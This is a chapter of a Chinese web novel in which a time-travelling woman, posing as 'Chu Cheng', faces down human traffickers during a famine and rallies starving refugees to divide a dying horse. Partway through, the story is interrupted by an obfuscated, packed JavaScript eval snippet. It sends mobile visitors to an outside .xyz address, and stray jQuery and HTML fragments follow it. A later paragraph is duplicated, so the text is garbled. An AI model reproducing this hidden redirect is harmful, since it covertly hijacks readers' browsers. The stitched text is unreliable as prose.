风里捎来一股馊味。


    这是经年累月的汗水与积垢发酵出的味道。这样的味道源足有上百，且仍在向此处汇聚。


    人是一种能凭预期驱使的动物。往日里，六匹高头大马，配着雪亮刀刃，只需一把炒米，一句“暂且活命”的许诺，便足以让几十个枯槁饥民温驯如羊，甚至驱使成百上千人甘为鱼肉。


    然而，一旦有人能割开驮马背上鼓胀的米袋，甚至剖开马匹本身，这些眼珠泛绿的饥民便会骤然记起——这些来买人的，同样能变成吃的。


    而且，不必等到遥不可及的买主，眼下全是现成的。


    全是新鲜的。


    不远处，折了腿的伤马痛苦喘息，失马的打手僵立当场，面颊肌肉不住抽搐。先前被她夺过一次坐骑的人牙头目喘着粗气赶到——却不敢再靠近。他将身子缩在两骑交错的阴影里，脖颈青筋暴突，冲着三个迟疑的手下嘶吼：


    “焦三，姚大，老武，耳朵让鹰啄了？！没听见小郎君发话？！还不赶紧滚回来？！”


    吼声未落，他看也不看那三个打手的动向，径自转向楚琛。脸上突然堆起层层褶皱，好像是要挤出个笑，僵在半途。顶着这副扭曲的皮相，他草草将双手在身前一错，又用力向外一推：


    “不过一头驽马！小郎君既然看得上，尽管处置……不知郎君高姓大名？”


    从“小子”、“贼子”荣升“郎君”，楚琛内心毫无波动。因为饿，也完全懒得嘲讽。她以余光留意着其余几人，挟着刀，依样画葫芦地草草一拱：


    “显州，楚成。”


    领头者目光如钩，狠狠钉在她握刀的手上。“显州……”他咂摸了一下，也不知品出了什么滋味，复又开口：“那马权当给郎君赔罪！只是鞍鞯……能否还给我等？”


    “可以。”楚琛答得干脆，“拿吃的换。”


    “米没了！”领头者断然道，“只有两块半豆糕，是我自家口粮。”


    “你们必定带了别的干粮。噢，对了，”楚琛像是刚想起来。“带没带水？”


    人牙头目的脸瞬间黑如锅底：“你……好汉想要几份？”


    “全部。”


    “郎君！”他声音陡然拔高，“我们要赶路的！”


    “你们有路要赶，”楚琛偏示意，“我们也有路要赶。你的马，还在我这儿。”


    这是实话。将她摔下的花马，此刻正漫无目的地站在不远处，正是她从他那抢到的那匹——


    “我们卸它个蹄甲，不费事。”


    马若失蹄，哪怕以后世医疗水平，都等同残废。因此，那匹还在痛苦嘶鸣的伤马，已注定归她所有，再添筹码全看这谈判。领头者死死瞪着她，堪称裂眦嚼齿。


    “好！行！行！全凭郎君的意思！”他扭过头，冲手下咆哮：“都聋了？！水囊！干粮！拿来！”


    头目一声喝骂，四个尚健全的打手忙不迭行动。那个被砍伤的一顿——此人原本背对楚琛，正捂着伤口，踉踉跄跄地朝头领方向挪动，恰好行至半途。闻声，他茫然停步：


    “大哥，我的不在我这儿。”


    “没你的事！”领头者没好气地斥了一句，眼珠倏地一转，锁定了目标：“卢大！你去收了东西，呈给这位小郎君！”


    楚琛陡然眯眼。


    对方六人。此刻，这领头的，连同两个打手正面对着她——其中那持剑的像根木桩杵在原地，持刀的则紧随头领，将要向前。余下三人里，除了那个伤的正蹒跚着汇合同伴，另两个徒步的也将要反身。


    人贩对饥民，如同鬣狗围猎角马群，遇到己方受伤减员的可能，它们会躲；但碰到机会，它们从不介意试试。


    而此刻，她能孤身谈条件，不仅因对方不愿搏命，更因她身后起码聚拢了数百双饥饿的眼睛。


    可就像纪录片里的角马群总会被驱散，要是他们之中突然有谁决定组个队列，来一波冲锋……


    “慢着。”楚琛冷冷道，“东西扔地上，几位就不必亲自过来了。钱二，你去把他们要的卸了。”


    钱二柱尚未反应，领头者却是一愕，继而反应过来，嘴角扯出一抹冷笑：“小郎君不信我们？”


    “非是不信，实属不敢。”楚琛坦然迎视，再次草草一拱手：“今日楚某所为，皆为饥饿所迫，多有得罪——多多担待。”


    大约是她的表情和语气太诚恳，又或者她真的说中了某种隐秘谋划，领头者喉头一哽，瞪着她，脸色涨红，似乎就要说什么或是骂出什么，但最终，他只是狠狠咽下一口气，嘶声喊道：“卢大！”


    被点名的提刀打手勒缰回马，与领头者目光一触。随即，他缓缓转过头，视线投向楚琛。


    明明隔着一段距离，这一眼也平淡无奇，甚至他们方才还有过短暂交锋，一股宛如腿边爬了只蟑螂的不适，瞬间窜过脊梁，直冲天灵盖！楚琛控制不住地捏紧刀柄，那中年打手却只朝她幅度极小地一颔首。


    那股难以形容的不适感蓦地散去了，就同它出现时一样莫名其妙。打手解下鞍边水囊，又从腰间扯下一只瘪瘪的小皮袋，扬手一抛。


    第一份物资到位。沉闷的噗响中，浮土被砸得微扬。很快，其余打手依样施为。水囊接连砸进土里，激起一小片黄尘。楚琛目光如刀：“退后。”


    那骑马的打手卢大再次回首看向领头者。领头者冷笑着摆手：“退！小郎君可还有吩咐？”


    楚琛没理他，兀自转向身后饥民群，抬高嗓门——


    “谁去把水捡回来？”


    围聚的饥民你看看我，我看看你，短暂僵持后，一个瘦小的身影迟疑地迈出一步，紧接着是第二个、第三个……待到第四和第五个时，这两人甚至小跑起来，仿佛怕被人抢了先。


    楚琛一阵诧异。她本打算让钱二柱干完活再跑这两趟。反正她绝对不会自己近前去——即便这地界根本上不支持发波白斩鸡，可万一扎小人管用呢？


    几只形态各异的水囊和几个瘪塌的小口袋，被主动出列的饥民带了回来。另一侧，钱二柱也终于卸完了马鞍、马衔、马镫等一堆马具。他倒还不算蠢到无可救药，无需提醒，便懂得将东西放在地上，还主动牵了那匹完好的马走到近前。


    至此，双方算是将各自所索要的交割完毕，且再不想跟对方扯上更多瓜葛。人牙贩拢了自己人和收来的人，头也不回地向北而去。楚琛返身，目光沉沉地落在那匹垂死的伤马上。


    比起后世景区里那些膘肥体壮的同类，它显得瘦小许多。然而，与老鼠相比，这具濒死的、仍在痛苦抽搐的肉山，无疑是更符合传统认知的“食物”，也几乎明示着一场血肉盛宴。于是，它如同漩涡中心，吸引来了更多饥民。


    他们先前站在她的身后，此刻，却已密密匝匝地挡在了她的面前。


    人很多。


    非常多。


    方才与人贩子对峙，精神紧绷如满弦之弓，无暇他顾，也不敢分心。此刻松懈下来，她才悚然惊觉究竟聚拢了多少：仿佛地铁早晚高峰的所有乘客尽数倾泻于此，而她是洋葱最里的芯，所有饥民都绕着她，绕着那头伤马一层层、一圈圈包裹开，延展开。


    最外层是没能挤近来的和健康条件差些的妇孺；稍内一层大多是原先站在河岸边的；最里一圈，则是那六个饥民——五个抱着水囊，一个是最初被她威胁入伙的钱二柱……


    几乎所有人都在看着她。几乎所有人都在沉默地等待着她，无声地掂量着她。


    冷风拂过，浮尘卷起，楚琛忽然意识到冷汗早已浸透内衫。


    高烧似乎退了，但每块肌肉都像被砂纸反复打磨的齿轮，每个关节都在哀鸣。饥饿化作无形猛兽，尖牙楔进胃壁来回撕扯，涎水顺着肠子下淌……


    再一次地，无比清晰地，楚琛意识到自己正身处异乡。


    自己，一个生长在繁荣中，从未亲历短缺与灾荒，只在屏幕中书页里见识过古代与战乱的人，还能走多远？活多久？这次靠莽和侥幸，算是蒙混过关了。下次呢？下下次呢？还接着拿命搏吗？


    一点点说不清道不明的茫然，混杂着对前路的忧虑，对未知的恐惧，气泡一样，慢悠悠地从心底深处浮起。但紧接着，针一般冰冷尖锐的现实刺破它们，也刺痛她——


    时间有限。


    不能沉湎过往，不能伤春悲秋。


    还有人要救，必须在天黑之前！


    “我……”


    楚琛吐出一个字，又强行咬着牙定住神。她直了直原本就不曾躬过的腰腿，视线从远处收往近前。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203628|181264||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>群体的沉默，是将倾的危楼，是引信燃烧的嘶响。必须说点什么了。要直击要害，要像烧红的铁钎捅进冻肉那般滋滋冒烟！苍天已死太缥缈，石人一只眼还没到……


    不！自己费劲心思砍伤马蹄的理由只因为一个，饥民最终能被自己聚起的原因也只是那一个。这是唯一的通关密语，是炸药包中那根致命的红蓝引线！一旦说错——


    “鄙人！显州楚成。”楚琛猛地暴喝，视线逐一扫过拿着水袋的五人，又轻飘飘地瞟眼挪到离她最近位置的钱二柱。最后，她昂首，望向眼前那黑压压、仿佛漫无边际的饥民之海，手中刀锋悍然指向地上垂死抽搐的伤马：


    “我要分肉！谁有大锅？哪里有大缸？”


    嗡——


    仿佛无形的巨手扼下，嘈杂声浪骤然一窒！紧接着，是山崩海啸般的轰然反扑！


    赌对了！显而易见！


    大多数人逃荒时携带的锅碗瓦罐完全无法容纳多少马肉。千百张嘴唇百个音调不同的语声遽然扬起，千百道目光焊死在刀尖上，如同被磁石吸住的铁屑。人人都想发声，人人都想要吃肉——


    大多数流民逃荒时携带的破锅烂碗，完全无法容纳多少马肉！千百张嘴同时翕动，千百种嘶哑的、尖利的、绝望的声浪遽然拔地而起，千百道目光如同嗅到血腥的饿狼，死死焊死在雪亮的刀尖上！


    人人都想发声，人人都想要吃肉——


    但，他们的意欲被先一步挑破，于是，那原本铁板一块、密不透风的拥挤人潮，骤然间露出蜂窝似的孔隙。他们两三个敢扑上来夺食，四十个能掀翻满载的马车，五百个足以踏平一座村落……


    但当千百双饥饿的眼睛都在贪婪地等旁人先踏出那一步，连饥民里最健壮的滚动喉结，那响动都比旁人轻几分。


    楚琛再瞟眼钱二柱，钱二柱莫名地回看她。楚琛改望为瞪，钱二柱却更加莫名地看向伤马——此人显然已将她之前吩咐忘得一干二净。楚琛挫败地清了清嗓子，准备再吼。


    另一个拎着水袋的饥民的目光在他们之间一来回，比她更快地，他上前。


    “闭嘴！都闭嘴！”他咆哮，“楚家郎君要分肉！找缸！找大缸！！”


    他花了大力气，声音近乎扯破，效果立竿见影。饥民群嘈杂的语声没消失，总体音量却在这一压之后小了不少。


    钱二柱仿佛被谁从后心踹了一脚，不可置信地看向那个发声的同伴，随即如梦初醒，也急吼吼往前，张口大呼：


    “我家郎君要分肉！哪里有缸？”


    他的行动如同引信点燃。另外四个抱着水囊的饥民也猛地回过神，纷纷扯开喉咙，此起彼伏地嘶喊：


    “分肉！找大缸！”


    “听到没有？找缸！”


    吆喝接连爆发，此起彼伏。终于如沸水泼进雪堆，给那片混乱的声浪烫出个缺口。而方才还躁动如兽群的饥民群，此刻竟像是被无形的力量抽去了脊梁骨。


    她将提供的东西和她提出的要求被层层传递，所过之处满是波澜。那翻涌的声浪渐渐平息，褪成浑浊水面下细碎的泡沫，偶尔迸出几颗“我家有瓦盆”的水花。


    楚琛冷眼旁观过这群喉舌，目光更锐利地扫向庞大而沉默的饥民群。这里，恐怕真找不到一口像样的锅釜，正好，可以借此机会物色些值得拉拢的人手，来处理那即将喷涌的马血。


    还得尽快规划好这匹马的切割方式……日头虽未西斜，时间却像指间沙，但愿还来得及。


    但，如果真有人能提供一口足以容纳马肉的大缸或大釜……


    在这所有人都濒临饿死、只想着如何逃出生天的绝境里，是什么样的人，出于何种心思，又是以何种方式，竟还拖带着这样一口笨重无比的容器？而这样巨大的容器，在这样的日子里，又主要用来做些什么？


    人潮突然裂开道缝。


    几个身影踏着天光，大步走来。


    与周遭那些黄皮寡瘦、形容憔悴的饥民相比，他们的状态不说神采奕奕，也堪称神完气足。


    为首的中青年望着她。和之前的人贩类似，他也将双手交错、拇指相对、握在身前、往前推出，至少看起来比人贩真诚：


    “是楚家小郎君？我叫曾放……我那正有口陶缸。”